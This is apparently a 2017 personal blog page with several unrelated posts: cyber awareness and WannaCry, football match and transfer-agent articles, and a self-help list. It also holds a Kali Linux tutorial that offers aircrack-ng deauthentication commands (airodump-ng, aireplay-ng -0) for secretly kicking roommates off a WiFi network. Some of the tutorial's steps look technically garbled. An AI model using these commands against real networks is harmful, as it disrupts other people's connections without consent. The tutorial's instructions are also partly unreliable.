Tuesday, 17 October 2017

Cyber Awareness in Daily Life

We all know there is a great need for cyber awareness. We have heard this on TV, read it on Facebook,posted about it, tweeted about it and done many other things about it. But why do we need it? Don't know. Well don't worry, I'll try to make you understand it in an easy way at least that's what I'm trying to accomplish here. But first, let's take a scenario. Consider this. You've recently bought a new house and that includes things that you consider valuable. So, if you do not secure valuables there is a risk that they will get stolen and you'll get cranky,sad and many other similar emotions then take over your subconscious. So to avoid this situation altogether you employ some security measures which is done by professionals who keep in mind the ongoing trends and gadgets that the thieves are using because let's be honest,if we don't do that then it is the same as giving the keys of your precious homes to intruders personally. Now if you've read carefully till now you, must have noticed that the main point was keeping in mind the current trends that the evil guys are using. So, if we take such precautionary measures to secure our homes then why can't we keep ourselves aware of the current trends in Cyber Security when we are living in a digital age where we are surrounded by electronic devices 24/7 throughout the year.
                   So the biggest attack of 2017 is Wannacry and it could have easily been avoided if we all had been aware in terms of Cyber Security of course as in April 2017, Shadow Brokers released an SMB vulnerability named “EternalBlue” which was part of the Microsoft security bulletin MS17-010. The recent WannaCry ransomware takes advantage of this vulnerability to compromise Windows machines, load malware, and propagate to other machines in a network. The attack uses SMB version 1 and TCP port 445 to propagate and it mainly affected systems which were still using Windows XP for which Microsoft had stopped releasing it's security updates since a long time ago. If we take some time and Google the reasons behind the destruction ensured by a cyber attack then we can find the main ingredient was always lack of awareness.There is an age old saying, "Prevention is better than Cure" and the letter P in this saying stands for awareness because how can we prevent Something from happening if we don't know even have the slightest idea about it.

Author's Comment: People will keep on writing articles like this maybe better or less better than this. There are countless more on the web but let's face it the hackers will keep on hacking systems for a long period of time. The reason is there is a tendency in a human beings to not learn lessons until they have suffered and we already know that time is the worst teacher there is as it first takes your test and then it teaches you your lesson. We can keep on writing countless articles this but it's of no use as the people who will probably read it may remember it for some time and then forget about it which is literally how we live. 
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Sunday, 15 October 2017

LaPercy Review: Watford vs Arsenal

The matchday 8 between Watford and Arsenal at Vicarage road ended in a shock 2-1 win for the home side as Tom Cleverley and Troy Deeney cancelled Per mertesacker's header as they once again shocked their opponents just like their previous  two matches which they saved in the dying moments. This was not the only shocking result and Chelsea were shocked by Crystal Palace, Juventus by Lazio and Borussia Dortmund by RB Leipzig all having the 2-1 result. 
            Arsenal were genuine title contenders before the season started and after a difficult start to the season they are back in the title race albeit barely as they trail Chelsea by 8 points with 16 games to go. Not the ideal situation for the gunners who also resume their Europa League campaign in couple of days time. As the games come thick and fast at this time of the year Arsenal need to dispose off teams like Watford if they were to retain their place in premier league top 4. Couple of good wins can get them back in the top half of the season and well clear of relegation zone which is the priority for the club. 
                The first goal for Arsenal came in the 40th minute. It all started via a great cross from Xhaka, bent in from the right with his left foot. Per met it with the meat of his forehead as he leapt like the proverbial oncorhynchus in the six yard box to meet it at the apex of his running jump and thunder it past Gomes. For the rest of the half Arsenal were not the passing team they used to be, a parody of a passing team at times. This season they have certainly moderated their style, varying it to include some longer passes and width from the wing-backs. It's a work in progress and in this XI they lacked a couple of genuinely outstanding players but it's been efficient, productive so far in the 1st half. Arsenal should have scored the second in the 70th minute as it was a superb break from Arsenal as Kolasinac plays it down the line to Iwobi, who charges infield and plays an angled pass to put Ozil clear on goal. He looked offside, wasn’t flagged and hit a low shot that was well saved down to his left by Gomes. It should have been 2-0. Wenger was livid and rightly so at the award of that penalty in the 72nd minute and was no different to the Welbeck/Holebas incident at the other end. Richarlison ran at Bellerin on the left side of the box and when the two bumped shoulders Richarlison went flying. That was a dive. Troy Deeney scored the leveller for Watford as he placed the penalty firmly to Cech's right having sent the keeper the wrong way who believes that the Spaniard’s long hair might have been the problem. Watford continued their amazing run of surprising teams right at the end as Cleverley who was at fault for Arsenal's opener as he rectified that mistake. The former Manchester United man lashed home in stoppage time after the visitors were unable to clear their lines to give the Hornets a first Premier League home win of the campaign and it started via a shoot from Holebas which was defected, Deeney went in with Cech and fell on top of him. The keeper sprung up to save the shot hit on the rebound. The ball fell near Cleverley who rammed his shot into the roof of the net. 
     It must be some consolation to the Gooners as Liverpool once again dropped points as they were held to a 0-0 draw which continued  their bad form since Alex Oxalade Chamberlain joined them in this transfer window. I think Alex is somewhat happy as he is now sitting in the middle of a 7 men bench and he's finally got that central role he was looking for after leaving the Gunners.

Author's Comment: Arsenal always turn things around when they have their backs to the wall but they are at their most vulnerable when coming into a game in rich form. Watford match might prove a banana skin for Arsenal but most of the players were fresh after international break and playing away at Vicarage had too much quality in their ranks to lose this game to Watford for the first time since 1987. I hope they can improve their game against their Europa League opponent Red Star Belgrade
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Saturday, 14 October 2017

Football Agents: Important Ingredient for a good transfer window

In professional football, a transfer is the action taken whenever a player under contract moves between clubs. It refers to the transferring of a player's registration from one association football club to another. In general, the players can only be transferred during a transfer window and according to the rules set by a governing body. Usually some sort of compensation is paid for the player's rights, which is known as a transfer fee. When a player moves from one club to another, their old contract is terminated and they negotiate a new one with the club they are moving to. But in the last two years the term Super Agent is being used quite a lot whenever there is any talk about a transfer. So who is a Super Agent? The answer is these are the agents who have a very high profile clientele and play a major part in deciding whether a transfer is going to happen and the money involved in it which is usually a lot. The example of super agents are the two most high proflie agents in the world right now, Jorge Mendes and Mino Raiola who are the agents of the biggest names in football like Cristiano Ronaldo, Paul Pogba, Angel Di Maria, James Rodriguez, Falcao and many others.
Football agent fees/commission on transfer fees and player salaries will vary from sport to sport, by that I mean whether its American football or football i.e soccer as it is called in some parts of the world. A football agent or intermediary as they are called today as per changes by FIFA in an irrational effort to try and make the process more transparent, will usually be paid by their client; that being either the club that contracted them to act on their behalf in a transfer or the player they represent. The intermediary can only be paid by an agreed lump sum if representing a club, however this can be paid in installments if agreed as such prior to the transfer activity. An intermediary’s payment from a player is also made calculated on the basis of the player’s basic gross income for the entire duration of the contract being signed for the transfer. As a rule the intermediary’s client has to pay him/her but a player can in writing ask their club to make payments to the intermediary on their behalf. Now to answer the actual question, according to FIFA, as a guide an intermediary should be paid 3% of the player’s basic gross income with regards to representing a player, and 3% of the transfer fee in the event of a club. However, as i mentioned, that is just a guide and so agents generally vary this percentage depending on the client or the circumstances. If your client is Cristiano Ronaldo or Manchester United, then you will probably consider even going less than the given 3% if necessary because at the end of the day the 3% or less is probably someone’s yearly salary. On the other hand if you are representing a player with a not so lucrative contract or a player playing in lower leagues, then the intermediary is likely to go for a higher percentage. Generally, most agents/intermediaries in the industry as far as i know will usually keep to a 10% commission when it comes to players however higher percentages when representing clubs. 

Again this is a personal choice and there are instances where Agents/ Intermediaries lose their clients over high percentages. There are also instances where some top agents go over the said 10% because of their ability to get a player into a top club. For instance an agent who wants 10% or less will be able to get you into Burnley or Bournemouth whilst the agent who can get you into Manchester United or Chelsea might want a 20% commission. There are instances where the same intermediary will on agreement represent both the club and the player and get paid by both. A good example is in Paul Pogba’s transfer where his agent was paid about €27 million by Juventus but his client will also be paying him through the duration of the contract. The most widely known role of football agents is when an individual agent or an agency acts on behalf of an individual player in negotiating playing contracts and other commercial contracts for that player. An agent will usually be paid by a percentage of the money that the player earns or by an annual fee. It is a well established principle of the relationship between football agent and the football player which they represent that the agent owes the player a fiduciary duty to act in the best interests of that player. An article was designed to prohibited the agents from acting on both sides of a negotiation as it was deemed to be a clear conflict of interest. It states that a player's agent may only represent the interests of one particular party per transaction. In particular a player's agent is forbidden from having a representation contract, a cooperation agreement or shared interests with one of the other parties or with one of the other parties player's agent involved in the player’s transfer or in the completion of the employment contract. A conflict of interest occurs whereby an individual involved in something, in most cases a commercial deal, where they have an interest with both sides. a football agent clearly would be in breach of his fiduciary duty to act in the best interests of the player which he is paid to represent if he is also representing the club negotiating with that player. A single agent would be unable to get the best deal for both the player and the club.

Author's Comment: Football’s global popularity knows no bounds and it’s an agent's job to ensure their player has a piece of the pie but first and foremost making sure their players are in the best possible position to perform on match day.

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Thursday, 22 June 2017

How to kick someone out from WiFi using Kali Linux

Are you fed up of your annoying roommate or flatmates because they are using all the bandwidth of your wifi connection.

Here is the solution for you people to kick out that annoying friend of yours from wifi without letting them know.


this process needs aircrack-ng tool. if you are using any penetration testing linux distro then you don't have to install it. other user have to install this tool.

First open a new terminal and type in ifconfig to find the name of your wireless card.( In my case the name is wlan0)

now take down your wireless card with this command :

ifconfig wlan0 down

Don't worry at the end of this tutorial  I will tell you how to get it back up.

Now we will scan for networks.( we will ger network BSSID and channel)

use this command to scan for netowrks:

aireplay-ng -9 wlan0

Now we will scan for connected devices on the network

airodump-ng -c 6 --bssid xx:xx:xx:xx:xx:xx -w psk wlan0

-c is for the channel that the network is broadcasting on.

--bssid is for the network mac address we just wrote down.

Now we just wait a few seconds and the devices connected to the network after some time connected devices will show up here with their MAC address.

write down the mac address of the device you want to kick out from your network

Now we will kick the device of our network .

To do that use this command:

aireplay-ng -0 15 -a xx:xx:xx:xx:xx:xx -c yy:yy:yy:yy:yy:yy wlan0

-0 means that we will send deAuth packets to the device.

15 is the amount of deAuth packets (if you want to send deAuth packets continously then replace 15 with 0)

-a is to set the networks BSSID which we wrote down earlier.

-c is to set the device's MAC address that you would like to kick of the network.

Great! Now we are sending the deAuth packtes! The devices should now be disconnctes from the network.

Now it's time to back up your wireless card. If your card is down you wouldn't be able to connect to a wifi network.

type in:

ifconfig wlan0 up

Author- Arun Kumar (CEH)

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Sunday, 18 June 2017

Why it is irrational and unnecessary to live in fear of disapproval and criticism?

Do you constantly live in fear of approval.Following are few automatic thoughts and it depends on the extent to which you  believe these thoughts tells about the  fear of disapproval and criticism in you:

1.Criticism will obviously upset the person who receives the criticism.

2.It is the best to give up your own interests in order to please others.

3.I need other people's approval in order to be happy.

4.If someone important to me expects me to do something, then I really should do it.

5.My value as a person depends greatly on what others think of me.

Now if you do a logical analysis on why the fear of criticism and approval is unnecessary and irrational , we can overcome this fear.

1.Remember that when someone reacts negatively to you, it may be his or her irrational thinking that is at the heart of the disapproval.

2.If the criticism is valid , this need not destroy you.You can pinpoint the error and take steps to correct it.You can learn from your mistakes, and you don't have to be ashamed of them.If you are human , you should and must make mistakes at times.

3.If you have goofed up , it does not follow that you are a BORN LOSER.It is impossible to be wrong all the time or even most of the time.Think about the thousands of things you have done right in your life!Furthermore you can change and grow.

4.Other people cannot judge your worth as a human being, only the validity or merit of specific things you do or say.

5.Everyone will judge you differently no matter how well you do or how badly you might behave.Disapproval cannot spread like wildfire, and one rejection cannot lead to a never ending series of rejections.So even if worse comes to worst and you do get rejected by someone, you can't end up totally alone.

6.Disapproval and criticism are usually uncomfortable, but the discomfort will pass.Stop moping.Get involved in an activity you've enjoyed in the past even though you feel certain it's absolutely pointlless to start.

7.Criticism and disapproval can upset you only to the extent that you "buy into" the accusations being brought against you.

8.Disapproval is rarely permanent.It doesn't follow that your relationship with the person who disapproves of you will necessarily end with you just because you are being criticized .Arguments are a part of living , and in the majority of cases you can come to a common understanding later on.

9.If you are criticizing someone else,it doesn't make that person totally bad.Why give another individual the power and right to judge you? We're all just human beings , not Supreme Court justices .Don't magnify other people until they are larger than life. 
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